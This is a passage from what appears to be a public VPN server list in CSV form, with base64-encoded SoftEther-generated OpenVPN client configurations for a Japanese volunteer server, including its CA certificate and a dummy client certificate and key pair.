91IGhhdmUgYSBwYXJ0aWN1bGFyIG5lZWQuDQoNCnJlc29sdi1yZXRyeSBpbmZpbml0ZQ0Kbm9iaW5kDQpwZXJzaXN0LWtleQ0KcGVyc2lzdC10dW4NCmNsaWVudA0KdmVyYiAzDQojYXV0aC11c2VyLXBhc3MNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjZXJ0aWZpY2F0ZSBmaWxlIG9mIHRoZSBkZXN0aW5hdGlvbiBWUE4gU2VydmVyLg0KIyANCiMgVGhlIENBIGNlcnRpZmljYXRlIGZpbGUgaXMgZW1iZWRkZWQgaW4gdGhlIGlubGluZSBmb3JtYXQuDQojIFlvdSBjYW4gcmVwbGFjZSB0aGlzIENBIGNvbnRlbnRzIGlmIG5lY2Vzc2FyeS4NCiMgUGxlYXNlIG5vdGUgdGhhdCBpZiB0aGUgc2VydmVyIGNlcnRpZmljYXRlIGlzIG5vdCBhIHNlbGYtc2lnbmVkLCB5b3UgaGF2ZSB0bw0KIyBzcGVjaWZ5IHRoZSBzaWduZXIncyByb290IGNlcnRpZmljYXRlIChDQSkgaGVyZS4NCg0KPGNhPg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlGYXpDQ0ExT2dBd0lCQWdJUkFJSVF6N0RTUU9OWlJHUGd1Mk9DaXdBd0RRWUpLb1pJaHZjTkFRRUxCUUF3DQpUekVMTUFrR0ExVUVCaE1DVlZNeEtUQW5CZ05WQkFvVElFbHVkR1Z5Ym1WMElGTmxZM1Z5YVhSNUlGSmxjMlZoDQpjbU5vSUVkeWIzVndNUlV3RXdZRFZRUURFd3hKVTFKSElGSnZiM1FnV0RFd0hoY05NVFV3TmpBME1URXdORE00DQpXaGNOTXpVd05qQTBNVEV3TkRNNFdqQlBNUXN3Q1FZRFZRUUdFd0pWVXpFcE1DY0dBMVVFQ2hNZ1NXNTBaWEp1DQpaWFFnVTJWamRYSnBkSGtnVW1WelpXRnlZMmdnUjNKdmRYQXhGVEFUQmdOVkJBTVRERWxUVWtjZ1VtOXZkQ0JZDQpNVENDQWlJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dJUEFEQ0NBZ29DZ2dJQkFLM29KSFAwRkRmem01NHJWeWdjDQpoNzdjdDk4NGtJeHVQT1pYb0hqM2RjS2kvdlZxYnZZQVR5amIzbWlHYkVTVHRyRmovUlFTYTc4ZjB1b3hteUYrDQowVE04dWtqMTNYbmZzN2ovRXZFaG1rdkJpb1p4YVVwbVpteVBmanh3djYwcElnYno1TURtZ0s3aVM0KzNtWDZVDQpBNS9UUjVkOG1VZ2pVK2c0cms4S2I0TXUwVWxYaklCMHR0b3YwRGlOZXdOd0lSdDE4akE4K28rdTNkcGpxK3NXDQpUOEtPRVV0K3p3dm8vN1YzTHZTeWUwcmdUQklsREhDTkF5bWc0Vk1rN0JQWjdobS9FTE5LakQrSm8yRlIzcXlIDQpCNVQwWTNIc0x1SnZXNWlCNFlsY05IbHNkdTg3a0dKNTV0dWttaThteGRBUTRRN2UyUkNPRnZ1Mzk2ajN4K1VDDQpCNWlQTmdpVjUrSTNsZzAyZFo3N0RuS3hIWnU4QS9sSkJkaUIzUVcwS3RaQjZhd0JkcFVLRDlqZjFiMFNIelV2DQpLQmRzMHBqQnFBbGtkMjVITjdyT3JGbGVhSjEvY3RhSnhRWkJLVDVaUHQwbTlTVEpFYWRhbzB4QUgwYWhtYlduDQpPbEZ1aGp1ZWZYS25FZ1Y0V2UwK1VYZ1ZDd09QamRBdkJiSStlMG9jUzNNRkV2ekc2dUJRRTN4RGszU3p5blRuDQpqaDhCQ05BdzFGdHhOclFIdXNFd01GeEl0NEk3bUtaOVlJcWlveW1DekxxOWd3UWJvb01EUWFIV0JmRWJ3cmJ3DQpxSHlHTzBhb1NDcUkzSGFhZHI4ZmFxVTlHWS9yT1BOazNzZ3JEUW9vLy9mYjRoVkMxQ0xRSjEzaGVmNFk1M0NJDQpyVTdtMllzNnh0MG5VVzcvdkdUMU0wTlBBZ01CQUFHalFqQkFNQTRHQTFVZER3RUIvd1FFQXdJQkJqQVBCZ05WDQpIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJSNXRGbm1lN2JsNUFGemdBaUl5QnBZOXVtYmJqQU5CZ2txDQpoa2lHOXcwQkFRc0ZBQU9DQWdFQVZSOVlxYnl5cUZEUURMSFlHbWtnSnlrSXJHRjFYSXB1K0lMbGFTL1Y5bFpMDQp1Ymh6RUZuVElaZCs1MHh4KzdMU1lLMDVxQXZxRnlGV2hmRlFEbG5yenVCWjZickpGZStHblkrRWdQYms2WkdRDQozQmViWWh0RjhHYVYwbnh2d3VvNzd4L1B5OWF1Si9HcHNNaXUvWDErbXZvaUJPdi8yWC9xa1NzaXNSY09qL0tLDQpORnRZMlB3QnlWUzV1Q2JNaW9nemlVd3RoRHlDMys2V1Z3VzZMTHYzeExmSFRqdUN2akhJSW5Oemt0SENnS1E1DQpPUkF6STRKTVBKK0dzbFdZSGI0cGhvd2ltNTdpYXp0WE9vSndUZHdKeDRuTENnZE5iT2hkanNudnpxdkh1N1VyDQpUa1hXU3RBbXpPVnl5Z2hxcFpYakZhSDNwTzNKTEYrbCsvK3NLQUl1dnRkN3UrTnhlNUFXMHdkZVJsTjhOd2RDDQpqTlBFbHB6Vm1iVXE0SlVhZ0VpdVREa0h6c3hIcEZLVks3cTQrNjNTTTFOOTVSMU5iZFdoc2NkQ2IrWkFKelZjDQpveWkzQjQzbmpUT1E1eU9mKzFDY2VXeEcxYlFWczVadWZwc01sanE0VWkwLzFsdmgrd2pDaFA0a3FLT0oycXhxDQo0Umdxc2FoRFlWdlRIOXc3alhieUxlaU5kZDhYTTJ3OVUvdDd5MEZmLzl5aTBHRTQ0WmE0ckYyTE45ZDExVFBBDQptUkd1blVIQmNuV0V2Z0pCUWw5bkpFaVUwWnNudmdjL3ViaFBnWFJSNFhxMzdaMGo0cjdnMVNnRUV6d3hBNTdkDQplbXlQeGdjWXhuL2VSNDQvS0o0RUJzK2xWRFIzdmV5Sm0ra1hROTliMjEvK2poNVhvczFBblg1aUl0cmVHQ2M9DQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2E+DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2xpZW50IGNlcnRpZmljYXRlIGZpbGUgKGR1bW15KS4NCiMgDQojIEluIHNvbWUgaW1wbGVtZW50YXRpb25zIG9mIE9wZW5WUE4gQ2xpZW50IHNvZnR3YXJlDQojIChmb3IgZXhhbXBsZTogT3BlblZQTiBDbGllbnQgZm9yIGlPUyksDQojIGEgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUgYW5kIHByaXZhdGUga2V5IG11c3QgYmUgaW5jbHVkZWQgb24gdGhlDQojIGNvbmZpZ3VyYXRpb24gZmlsZSBkdWUgdG8gdGhlIGxpbWl0YXRpb24gb2YgdGhlIGNsaWVudC4NCiMgU28gdGhpcyBzYW1wbGUgY29uZmlndXJhdGlvbiBmaWxlIGhhcyBhIGR1bW15IHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlDQojIGFuZCBwcml2YXRlIGtleSBhcyBmb2xsb3dzLg0KDQo8Y2VydD4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJQ3hqQ0NBYTRDQVFBd0RRWUpLb1pJaHZjTkFRRUZCUUF3S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOcw0KYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUU1CNFhEVEV6TURJeE1UQXpORGswT1ZvWERUTTNNREV4T1RBeg0KTVRRd04xb3dLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUQ0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQQ0KNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5UndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRA0KNFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuY3pXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUQ0KQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaTU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2Nw0KWENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aA0KcC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQW1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRA0KeXdJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQlFVQUE0SUJBUUNoTzVoZ2N3LzRvV2ZvRUZMdTlrQmExQi8va3hIOA0KaFFrQ2hWTm44QlJDN1kwVVJRaXRQbDNES0VlZDlVUkJEZGcyS09Bejc3YmI2RU5QaWxpRCthMzhVSkhJUk1xZQ0KVUJIaGxsT0hJenZEaEhGYmFvdkFMQlFjZWVCemRrUXhzS1FFU0ttUW1SODMyOTUwVUNvdm95UkI2MVV5QVY3aA0KK21aaFlQR1JLWEtTSkk2czBFZ2cvQ3JpK0N3azRiakpmcmI1aFZzZTExeWg0RDlNSGh3U2ZDT0grMHo0aFBVVA0KRmt1N2RHYXZVUk81U1Z4TW4vc0w2RW41RCtvU2VYa2FkSHBEcytBaXJ5bTJZSGgxNWgwK2pQU09vUjZ5aVZwLw0KNnpaZVprck40M2t1UzczS3BLREZqZkZQaDh0NHIxZ09JanR0a05jUXFCY2N1c25wbFE3SEpwc2sNCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jZXJ0Pg0KDQo8a2V5Pg0KLS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ0KTUlJRXBBSUJBQUtDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5Ug0Kd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JENFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuYw0Kelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaQ0KNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3WENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTg0KLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZocC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQQ0KbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEeXdJREFRQUJBb0lCQUVSVjdYNUF2eEE4dVJpSw0KazhTSXBzRDBkWDFwSk9NSXdha1VWeXZjNEVmTjBEaEtSTmI0cllvU2lFR1RMeXpMcHlCYy9BMjhEbGttNWVPWQ0KZmp6WGZZa0d0WWkvRnR4a2czTzl2Y3JNUTQrNmkrdUdIYUlMMnJMK3M0TXJmTzh2MXh2NitXa3kzM0VFR0NvdQ0KUWl3VkdSRlFYblJvUTYyTkJDRmJVTkxobVh3ZGoxYWtaekxVNHA1UjR6QTNRaGR4d0VJYXRWTHQwKzdvd0xRMw0KbFA4c2ZYaHBwUE9YalRxTUQ0UWtZd3pQQWE4L3pGN2FjbjRrcnlyVVA3UTZQQWZkMHpFVnFOeTlaQ1o5ZmZobw0KelhlZEZqNDg2SUZvYzVnblRwMk42anNuVmo0TENHSWhsVkhsWUdvektLRnFKY1FWR3NIQ3FxMW96MnpqVzZMUw0Kb1JZSUhnRUNnWUVBOHpacmtDd05ZU1hKdU9ESjNtL2hPTFZ4Y3hnSnV3WG9pRXJXZDBFNDJ2UGFuampWTWhudA0KS1k1bDhxR01KNkZoSzlMWXgycUNyZi9FMFh0VUFaMndWcTNPUlR5R25zTVdyZTl0TFlzNTVYK1pOMTBUYzc1eg0KNGhhY2JVMGhxS04xSGlEbXNNUlkzLzJOYVpIb3k3TUtud0pKQmFHNDhsOUNDVGxWd01Ib2NJRUNnWUVBOGpieQ0KZEdqeFRIKzZYSFdOaXpiNVNSYlp4QW55RWVKZVJ3VE1oMGdHendHUHBIL3NaWUd6eXUwU3lTWFdDblpoM1JncQ0KNXVMbE54dHJYcmxqWmx5aTJuUWRRZ3NxMllyV1VzMCt6Z1UrMjJ1UXNacFNBZnRtaFZydHZldDZNalZqYkJ5WQ0KREFEY2lFVlVkSllJWGsrcW5GVUp5ZXJvTElrVGo3V1lLWjZSamtzQ2dZQm9DRkl3UkRlZzQyb0s4OVJGbW5Pcg0KTHltTkFxNCsyb01oc1dsVmI0ZWpXSVdlQWs5bmMrR1hVZnJYc3pSaFMwMW1VblU1cjV5Z1V2UmNhclYvVDNVNw0KVG5NWitJN1k0RGdXUklEZDUxem5oeElCdFlWNWovQy90ODVIanFPa0grOGI2UlRrYmNoYVgzbWF1N2ZwVWZkcw0KRnEwbmhJcTQyZmhFTzhzcmZZWXdnUUtCZ1FDeWhpMU4vOHRhUndwayszL0lERXpRd2piZmR6VWtXV1NEazlYcw0KSC9wa3VSSFdmVE1QM2ZsV3FFWWdXL0xXNDBwZVcySERxNWltZFY4K0FnWnhlL1hNYmFqaTlMZ3dmMVJZMDA1bg0KS3hhWlF6N3lxSHVwV2xMR0Y2OERQSHhrWlZWU2FnRG5WL3N6dFdYNlNGc0NxRlZueElYaWZYR0M0Y1c1Tm05Zw0KdmE4cTRRS0JnUUNFaExWZVVmZHdLdmtaOTRnL0dGejczMVoyaHJkVmhnTVphVS91NnQwVjk1K1llelBOQ1FaQg0Kd21FOU1tbGJxMWVtRGVST2l2akNmb0doUjNrWlhXMXBUS2xMaDZaTVVRVU9wcHRkWHZhOFh4Zm9xUXdhM2VuQQ0KTTdtdUJiRjBYTjdWTzgwaUpQditQbUlaZEVJQWtwd0tmaTIwMVlCK0JhZkNJdUd4SUY1MFZnPT0NCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tDQoNCjwva2V5Pg0KDQo= +kaerusaga,203.135.231.8,1112829,20,130024492,Japan,JP,16,341604195,256299,34969349776834,2weeks,FrogToad,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMDMuMTM1LjIzMS44IDEyNzUNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncN